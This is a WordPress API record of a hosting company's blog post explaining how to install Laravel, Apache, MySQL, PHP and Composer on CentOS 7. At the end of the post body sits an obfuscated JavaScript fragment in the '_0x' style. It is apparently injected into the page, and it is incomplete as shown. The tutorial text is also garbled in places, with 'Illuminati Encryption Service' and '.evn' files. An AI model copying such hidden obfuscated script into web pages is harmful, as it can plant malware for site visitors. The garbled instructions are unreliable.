{"id":46,"date":"2021-01-31T22:29:59","date_gmt":"2021-01-31T22:29:59","guid":{"rendered":"https:\/\/hoganhost.com.ng\/blog\/?p=46"},"modified":"2024-08-12T13:36:18","modified_gmt":"2024-08-12T12:36:18","slug":"how-to-install-laravel-on-centos-7","status":"publish","type":"post","link":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/","title":{"rendered":"How to install Laravel on CentOS 7"},"content":{"rendered":"<p><img decoding=\"async\" class=\"aligncenter size-medium wp-image-47\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/install-laravel-centos-300x147.jpg\" alt=\"\" width=\"300\" height=\"147\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/install-laravel-centos-300x147.jpg 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/install-laravel-centos-768x376.jpg 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/install-laravel-centos.jpg 932w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>Laravel is one of the\u00a0<strong>PHP language frameworks<\/strong>\u00a0designed for web application development and works on an MVC basis. The Laravel Framework makes it easy to program PHP web applications and helps make PHP projects easy to develop. The Laravel framework is built on various components of the Symfony framework and gives your program a great base of reliable and tested code if you install Laravel.<\/p>\n<p>Laravel provides a collection of the best solutions with meaningful and creative syntax that are done right. As a result, by simplifying common tasks such as\u00a0<strong>authentication<\/strong>,\u00a0<strong>routing<\/strong>,\u00a0<strong>sessions<\/strong>, working with\u00a0<strong>databases<\/strong>, etc.<br \/>\nWhich is used in almost all web projects, Laravel reduces development problems for both the developer and the client.\u00a0<a href=\"https:\/\/laravel.com\/\" target=\"_blank\" rel=\"noopener\">Laravel<\/a>, Symphony, KickPh, and Igniter code are some of the most popular PHP language frameworks, which test their popularity on Google Trend, reflecting the growing growth of Laravel frameworks.<img decoding=\"async\" class=\"aligncenter size-medium wp-image-48\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/laravel-php-1200x480-1-300x120.png\" alt=\"\" width=\"300\" height=\"120\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/laravel-php-1200x480-1-300x120.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/laravel-php-1200x480-1-1024x410.png 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/laravel-php-1200x480-1-768x307.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/laravel-php-1200x480-1.png 1200w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<h2>Why should we learn and use Laravel?<\/h2>\n<ul>\n<li>Easy to learn and update<\/li>\n<li>Facilitate routine programming tasks such as authentication, routing, sessions, and caching<\/li>\n<li>Quick and easy setup of multiple environments and relationships<\/li>\n<li>Enjoying Remote Component<\/li>\n<li><strong>Limit Eloquent<\/strong>\u00a0with simple commands<\/li>\n<li>Improve speeds and increase\u00a0<strong>speeds by 100%<\/strong><\/li>\n<li>Make the development process pleasant for developers without compromising program capabilities<\/li>\n<li>Use standard bundle style in earlier versions and use packages in the new version<\/li>\n<li>Run multiple unit tests with very simple commands<\/li>\n<li>Easy access to databases and ease of modifying and controlling code and updating and developing applications<\/li>\n<li>Using\u00a0<strong><strong>Blade Templates Engine<img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter size-medium wp-image-49\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/Why_Laravel-300x171.jpg\" alt=\"\" width=\"300\" height=\"171\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/Why_Laravel-300x171.jpg 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/Why_Laravel.jpg 700w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/strong><\/strong><br \/>\n<h2>How to install Laravel on CentOS 7<\/h2>\n<h3>Step 1 \u2013 ADJUST YUM REPOSITORY SETTING<\/h3>\n<p>First of all, we need to add\u00a0<strong>REMI<\/strong>\u00a0and\u00a0<strong>EPEL rpm<\/strong>\u00a0repositories to the Centos system. These containers have updated packages.<br \/>\nConnect to VPS with Putty\u00a0and run the below command:<\/p>\n<pre dir=\"ltr\">rpm -Uvh http:\/\/dl.fedoraproject.org\/pub\/epel\/7\/x86_64\/Packages\/e\/epel-release-7-11.noarch.rpm<\/pre>\n<p>Then<\/p>\n<pre dir=\"ltr\">rpm -Uvh http:\/\/rpms.famillecollet.com\/enterprise\/remi-release-7.rpm<\/pre>\n<h3>Step 2 \u2013 Install Apache, MySQL, and PHP(LAMP)<\/h3>\n<p>Here is a brief guide to installing LAMP. You need to run the Laravel framework on your CentOS system<br \/>\nUse this command to install\u00a0Apache<\/p>\n<pre dir=\"ltr\">yum --enablerepo=remi,epel install httpd<\/pre>\n<p>To install MySQL use the following commands<\/p>\n<pre dir=\"ltr\">yum --enablerepo=remi,epel install mysql-server<\/pre>\n<p>Then<\/p>\n<pre dir=\"ltr\">service mysqld start<\/pre>\n<p>Then<\/p>\n<pre dir=\"ltr\">\/usr\/bin\/mysql_secure_installation<\/pre>\n<p>To install PHP using the following command<\/p>\n<pre dir=\"ltr\">yum --enablerepo=remi,epel install php php-zip php-mysql php-mcrypt php-xml php-mbstring<\/pre>\n<p>Then restart the Apache<\/p>\n<pre dir=\"ltr\">service httpd restart<\/pre>\n<h3>Step 3 \u2013 Install Composer<\/h3>\n<p>Composer is required to install Laravel and one of Laravel\u2019s prerequisites is to install.<br \/>\nYou can install Composer using the following commands<\/p>\n<pre dir=\"ltr\">curl -sS https:\/\/getcomposer.org\/installer | php<\/pre>\n<p>Then<\/p>\n<pre dir=\"ltr\">mv composer.phar \/usr\/bin\/composer<\/pre>\n<p>Then<\/p>\n<pre dir=\"ltr\">chmod +x \/usr\/bin\/composer<\/pre>\n<h3>Step 4 \u2013 Install Laravel<\/h3>\n<p>You can install the latest version of Laurel using the following command<\/p>\n<pre dir=\"ltr\">cd \/var\/www<\/pre>\n<p>Then<\/p>\n<pre dir=\"ltr\">git clone https:\/\/github.com\/laravel\/laravel.git<\/pre>\n<p>After entering the above command, use\u00a0<a href=\"https:\/\/getcomposer.org\/\" target=\"_blank\" rel=\"noopener\">Composer<\/a>\u00a0to solve the Laravel prerequisite problem<\/p>\n<pre dir=\"ltr\">cd \/var\/www\/laravel<\/pre>\n<p>Then<\/p>\n<pre dir=\"ltr\">composer install<\/pre>\n<p>The prerequisite installation is a bit long but wait until it\u2019s fully installed and enter the following commands<\/p>\n<pre dir=\"ltr\">chown -R apache.apache \/var\/www\/laravel<\/pre>\n<p>Then<\/p>\n<pre dir=\"ltr\">chmod -R 755 \/var\/www\/laravel<\/pre>\n<p>Then<\/p>\n<pre dir=\"ltr\">chmod -R 755 \/var\/www\/laravel\/storage<\/pre>\n<p>Use the command to write to the storage directory<\/p>\n<pre dir=\"ltr\">chcon -R -t httpd_sys_rw_content_t \/var\/www\/laravel\/storage<\/pre>\n<h3>Step 5 \u2013 Set the Encryption Key<\/h3>\n<p>Laravel uses the .evn file to configure the environment. Use the .evn file to configure all the environment variables for your program such as database, SMTP, security key, etc.<\/p>\n<pre dir=\"ltr\">cp .env.example .env<\/pre>\n<p>Now set the 32-bit random encryption key given to you by the Illuminati Encryption Service<\/p>\n<pre dir=\"ltr\">php artisan key:generate<\/pre>\n<p>Then<\/p>\n<pre dir=\"ltr\">Application key set successfully.<\/pre>\n<h3>Step 6 \u2013 Create Apache Virtual Host<\/h3>\n<p>Now add a virtual host to your Apache configuration file to access Laravel through the web browser.<br \/>\nTo do this, edit the Apache\u00a0<strong>\/etc\/httpd\/conf\/httpd.conf<\/strong>\u00a0configuration file and add the following code at the end of the file.<\/p>\n<p>Enter the following command to edit the Apache configuration file<\/p>\n<pre dir=\"ltr\">vim \/etc\/httpd\/conf\/httpd.conf<\/pre>\n<p><strong>Put<\/strong>\u00a0the following command in this file<\/p>\n<pre class=\"pretty\" dir=\"ltr\">&lt;VirtualHost *:80&gt;\r\n       ServerName laravel.example.com\r\n       DocumentRoot \/var\/www\/laravel\/public\r\n\r\n       &lt;Directory \/var\/www\/laravel&gt;\r\n              AllowOverride All\r\n       &lt;\/Directory&gt;\r\n&lt;\/VirtualHost&gt;<\/pre>\n<p>Restart the Apache service and access Laravel using your favorite web browser and start developing a great web application.<br \/>\nUse the following command to restart Apache service<\/p>\n<pre dir=\"ltr\">service httpd restart<\/pre>\n<p>Now access your Laravel website in a web browser using the server name that we have defined.<br \/>\nThe username that we have used is\u00a0<strong>laravel.example.com<br \/>\n<\/strong><\/p>\n<p>As easy as this, we can install Laravel on CentOS 7. Finally, you can\u00a0buy a cheap <a href=\"https:\/\/hoganhost.com.ng\/home\/Vps.html\">VPS<\/a>\u00a0and run Laravel on it.<\/p>\n<p>We hope you enjoy this article and find it useful.<br \/>\nShare your comments with us.<br \/>\nBe victorious and successful.<\/li>\n<\/ul>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Laravel is one of the\u00a0PHP language frameworks\u00a0designed for web application development and works on an MVC basis. The Laravel Framework [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":49,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[11],"tags":[],"class_list":["post-46","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>How to install Laravel on CentOS 7 - HoganHost blog<\/title>\n<meta name=\"description\" content=\"Laravel is one of the\u00a0PHP language frameworks\u00a0designed for web application development and works on an MVC basis. The Laravel\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to install Laravel on CentOS 7 - HoganHost blog\" \/>\n<meta property=\"og:description\" content=\"Laravel is one of the\u00a0PHP language frameworks\u00a0designed for web application development and works on an MVC basis. The Laravel\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/\" \/>\n<meta property=\"og:site_name\" content=\"HoganHost blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/facebook.com\/HoganHost\" \/>\n<meta property=\"article:published_time\" content=\"2021-01-31T22:29:59+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-08-12T12:36:18+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/Why_Laravel.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"700\" \/>\n\t<meta property=\"og:image:height\" content=\"400\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Abigal okon\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:site\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Abigal okon\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/\"},\"author\":{\"name\":\"Abigal okon\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\"},\"headline\":\"How to install Laravel on CentOS 7\",\"datePublished\":\"2021-01-31T22:29:59+00:00\",\"dateModified\":\"2024-08-12T12:36:18+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/\"},\"wordCount\":643,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/Why_Laravel.jpg\",\"articleSection\":[\"Server\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/\",\"name\":\"How to install Laravel on CentOS 7 - HoganHost blog\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/Why_Laravel.jpg\",\"datePublished\":\"2021-01-31T22:29:59+00:00\",\"dateModified\":\"2024-08-12T12:36:18+00:00\",\"description\":\"Laravel is one of the\u00a0PHP language frameworks\u00a0designed for web application development and works on an MVC basis. The Laravel\",\"breadcrumb\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/#primaryimage\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/Why_Laravel.jpg\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/Why_Laravel.jpg\",\"width\":700,\"height\":400},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/hoganhost.com.ng\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"How to install Laravel on CentOS 7\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"name\":\"HoganHost blog\",\"description\":\"Keeping you connected to everything from HoganHost\",\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\",\"name\":\"HoganHost\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"width\":466,\"height\":387,\"caption\":\"HoganHost\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/facebook.com\/HoganHost\",\"https:\/\/x.com\/hoganhostng\",\"https:\/\/instagram.com\/officialhoganhost\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\",\"name\":\"Abigal okon\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"caption\":\"Abigal okon\"},\"sameAs\":[\"https:\/\/hoganhost.com.ng\/blog\"],\"url\":\"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"How to install Laravel on CentOS 7 - HoganHost blog","description":"Laravel is one of the\u00a0PHP language frameworks\u00a0designed for web application development and works on an MVC basis. The Laravel","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/","og_locale":"en_US","og_type":"article","og_title":"How to install Laravel on CentOS 7 - HoganHost blog","og_description":"Laravel is one of the\u00a0PHP language frameworks\u00a0designed for web application development and works on an MVC basis. The Laravel","og_url":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/","og_site_name":"HoganHost blog","article_publisher":"https:\/\/facebook.com\/HoganHost","article_published_time":"2021-01-31T22:29:59+00:00","article_modified_time":"2024-08-12T12:36:18+00:00","og_image":[{"width":700,"height":400,"url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/Why_Laravel.jpg","type":"image\/jpeg"}],"author":"Abigal okon","twitter_card":"summary_large_image","twitter_creator":"@hoganhostng","twitter_site":"@hoganhostng","twitter_misc":{"Written by":"Abigal okon","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/#article","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/"},"author":{"name":"Abigal okon","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a"},"headline":"How to install Laravel on CentOS 7","datePublished":"2021-01-31T22:29:59+00:00","dateModified":"2024-08-12T12:36:18+00:00","mainEntityOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/"},"wordCount":643,"commentCount":0,"publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/Why_Laravel.jpg","articleSection":["Server"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/","url":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/","name":"How to install Laravel on CentOS 7 - HoganHost blog","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/#primaryimage"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/Why_Laravel.jpg","datePublished":"2021-01-31T22:29:59+00:00","dateModified":"2024-08-12T12:36:18+00:00","description":"Laravel is one of the\u00a0PHP language frameworks\u00a0designed for web application development and works on an MVC basis. The Laravel","breadcrumb":{"@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/#primaryimage","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/Why_Laravel.jpg","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/01\/Why_Laravel.jpg","width":700,"height":400},{"@type":"BreadcrumbList","@id":"https:\/\/hoganhost.com.ng\/blog\/server\/how-to-install-laravel-on-centos-7\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hoganhost.com.ng\/blog\/"},{"@type":"ListItem","position":2,"name":"How to install Laravel on CentOS 7"}]},{"@type":"WebSite","@id":"https:\/\/hoganhost.com.ng\/blog\/#website","url":"https:\/\/hoganhost.com.ng\/blog\/","name":"HoganHost blog","description":"Keeping you connected to everything from HoganHost","publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/hoganhost.com.ng\/blog\/#organization","name":"HoganHost","url":"https:\/\/hoganhost.com.ng\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","width":466,"height":387,"caption":"HoganHost"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/facebook.com\/HoganHost","https:\/\/x.com\/hoganhostng","https:\/\/instagram.com\/officialhoganhost"]},{"@type":"Person","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a","name":"Abigal okon","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","caption":"Abigal okon"},"sameAs":["https:\/\/hoganhost.com.ng\/blog"],"url":"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/46","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/comments?post=46"}],"version-history":[{"count":1,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/46\/revisions"}],"predecessor-version":[{"id":50,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/46\/revisions\/50"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media\/49"}],"wp:attachment":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media?parent=46"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/categories?post=46"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/tags?post=46"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}